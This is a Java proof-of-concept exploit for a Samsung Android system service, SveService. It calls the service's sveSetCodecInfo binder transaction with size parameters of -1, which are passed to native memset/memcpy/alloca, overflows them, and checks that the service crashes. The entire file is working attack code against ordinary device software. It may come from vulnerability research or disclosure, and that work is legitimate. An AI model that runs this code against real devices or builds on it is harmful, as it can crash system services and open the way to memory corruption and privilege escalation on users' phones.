package com.samsung.sve.poc;

import android.os.IBinder;
import android.os.Parcel;
import java.lang.reflect.Method;

public class SveServiceExploit {

    static final String TAG = "SveExploit";
    static final String SERVICE_NAME = "SveService";
    static final String DESCRIPTOR = "com.sec.sve.ISecVideoEngineService";
    static final int CMD = 38; // TRANSACTION_sveSetCodecInfo

    public static void main(String[] args) throws Exception {
        IBinder binder = getService(SERVICE_NAME);
        if (binder == null) {
            System.out.println("[-] Service not found");
            return;
        }

        // Phase 1: baseline
        System.out.println("[*] Phase 1: valid call (1,1,1)...");
        int r = call(binder, 1, 1, 1);
        System.out.println("[+] Returned: " + r);

        // Phase 2: trigger overflow
        System.out.println("[*] Phase 2: i106=-1 (0xFFFFFFFF)...");
        try {
            call(binder, -1, -1, -1);
        } catch (Exception e) {
            String msg = e.getMessage();
            if (msg != null && msg.contains("DeadObject"))
                System.out.println("[+] SveService CRASHED - overflow confirmed");
            else
                System.out.println("[!] " + e.getClass().getSimpleName() + ": " + msg);
        }
    }

    static IBinder getService(String name) {
        try {
            Class<?> sm = Class.forName("android.os.ServiceManager");
            Method get = sm.getMethod("getService", String.class);
            return (IBinder) get.invoke(null, name);
        } catch (Exception e) {
            return null;
        }
    }

    static int call(IBinder binder, int s1, int s2, int s3) throws Exception {
        Parcel data = Parcel.obtain();
        Parcel reply = Parcel.obtain();
        try {
            data.writeInterfaceToken(DESCRIPTOR);
            // 20 int params (i89-i105) + 1 string
            for (int i = 0; i < 6; i++) data.writeInt(0);
            data.writeString("");
            for (int i = 0; i < 5; i++) data.writeInt(0);
            data.writeBoolean(false); data.writeInt(0);
            data.writeBoolean(false);
            for (int i = 0; i < 5; i++) data.writeInt(0);
            // 3 byte arrays (1 byte each)
            data.writeByteArray(new byte[]{0x41});
            data.writeByteArray(new byte[]{0x42});
            data.writeByteArray(new byte[]{0x43});
            // VULNERABLE: sizes passed to native memset/memcpy/alloca
            data.writeInt(s1); data.writeInt(s2); data.writeInt(s3);

            binder.transact(CMD, data, reply, 0);
            reply.readException();
            return reply.readInt();
        } finally {
            reply.recycle();
            data.recycle();
        }
    }
}
